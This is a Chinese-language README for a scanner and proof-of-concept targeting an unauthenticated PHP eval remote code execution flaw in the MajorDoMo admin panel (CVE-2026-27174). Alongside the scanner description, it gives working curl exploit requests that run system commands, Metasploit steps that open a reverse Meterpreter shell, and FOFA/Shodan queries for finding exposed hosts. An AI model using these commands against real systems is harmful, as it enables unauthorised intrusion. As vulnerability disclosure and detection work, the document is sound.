这是一个概念验证(PoC),利用 MajorDomo(Major Domestic Module)管理面板的 PHP 控制台功能,实现未经身份验证的远程代码执行。
MajorDoMo 的管理面板通过 /admin.php 暴露了一个 PHP 求值控制台。由于 panel.class.php 在身份验证重定向后缺少 exit,AJAX 处理器 inc_panel_ajax.php 会被无条件包含——使得任何未经身份验证的 HTTP 请求都能触达其 eval()。
攻击者只需一个 GET 请求即可执行任意 PHP 代码,无需任何凭据、无需预先访问权限,也无需受害者进行任何交互。
scan.py 是一个非破坏性的多线程扫描器,用于检测存在 CVE-2026-27174 漏洞的主机,不会执行任何有害载荷。
扫描器对每个目标依次分三个阶段执行:
Phase 1 — RCE Confirmation
└─ Sends: echo 'random_marker';
└─ Checks: marker is reflected in the response body
└─ Confirms: eval() is reachable without authentication
Phase 2 — PHP Sandbox Profiling
└─ Sends: echo 'marker:' . ini_get('disable_functions');
└─ Extracts: list of disabled PHP functions on the server
Phase 3 — OS Execution Surface
└─ Probes: system, exec, shell_exec, passthru via function_exists()
└─ Classifies: impact level as HIGH or MEDIUM
每次请求都会生成一个随机字母数字标记,以避免缓存、WAF 或响应污染导致的误报。
pip install requests
创建一个 targets.txt 文件,每行包含一个 IP:PORT:
192.168.1.10:8080
10.0.0.5:80
10.0.0.12:443
# lines starting with # are ignored
# only IP:PORT format is accepted
python3 scan.py targets.txt
[+] RCE PHP CONFIRMED -> http://192.168.1.10:8080/admin.php
[-] Not vulnerable -> 10.0.0.5:80
[+] Vulnerable targets exported to results.json
results.json当发现至少一个存在漏洞的主机时自动生成:
[
{
"target": "192.168.1.10:8080",
"url": "http://192.168.1.10:8080/admin.php",
"rce_php": true,
"disable_functions": "popen,pclose,proc_open",
"system_functions_available": ["system", "exec"],
"impact_level": "HIGH"
}
]
根据 result.json 文件中 system_functions_available 字段的结果,我们可以利用可用的 system 函数构造一个 GET 请求来利用该 RCE:
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+exec('id');
#or
curl http://192.168.1.10:8080/admin.php?ajax_panel=1&op=console&command=echo+system('id');
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Metasploit 模块:
msfconsole
use exploit/multi/http/majordomo_console_eval_rce
set RHOSTS 192.168.1.10
set RPORT 8080
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.17.0.1
check #Verify it returns Vulnerable
run #Verify a Meterpreter session opens as www-data
FOFA:
title="MajorDomoSL"
SHODAN:
http.title:"MajorDomoSL"
远程未认证攻击者可以:
实际影响取决于服务器的 disable_functions PHP 配置:
CVSS 4.0 - 9.3 严重 — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 - 9.8 严重 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
请将 MajorDomo(Major Domestic Module)更新到最新版本。
| 控制措施 | 阻止 RCE | 阻止 OS 命令执行 |
|---|
https://chocapikk.com/posts/2026/majordomo-revisited
https://nvd.nist.gov/vuln/detail/CVE-2026-27174
https://github.com/sergejey/majordomo/pull/1177
本工具仅用于经授权的安全测试。未经授权访问计算机系统属于违法行为。
| 字段 | 描述 |
|---|
target | 被扫描的 IP:PORT |
url | 确认存在 RCE 的完整 URL |
rce_php | 已确认 PHP 代码执行(结果中始终为 true) |
disable_functions | 服务器的 disable_functions PHP 设置(若为空则为 null) |
system_functions_available | 攻击者可调用的 OS 执行函数 |
impact_level | HIGH(可进行 OS 命令执行)或 MEDIUM(仅 PHP RCE) |
| 场景 | 影响级别 | 描述 |
|---|
未设置 disable_functions | 严重 | 完整的操作系统命令执行 |
| 部分限制 | 高 | PHP RCE + 部分 OS 命令执行 |
disable_functions 禁用了所有执行函数 | 中 | 仅 PHP RCE(文件读写、数据外泄) |
| 应用 2026 年 2 月 18 日补丁 | ✅ | ✅ |
对 /admin.php 设置防火墙/IP 白名单 | ✅ | ✅ |
disable_functions 加固 | ❌ | ✅ |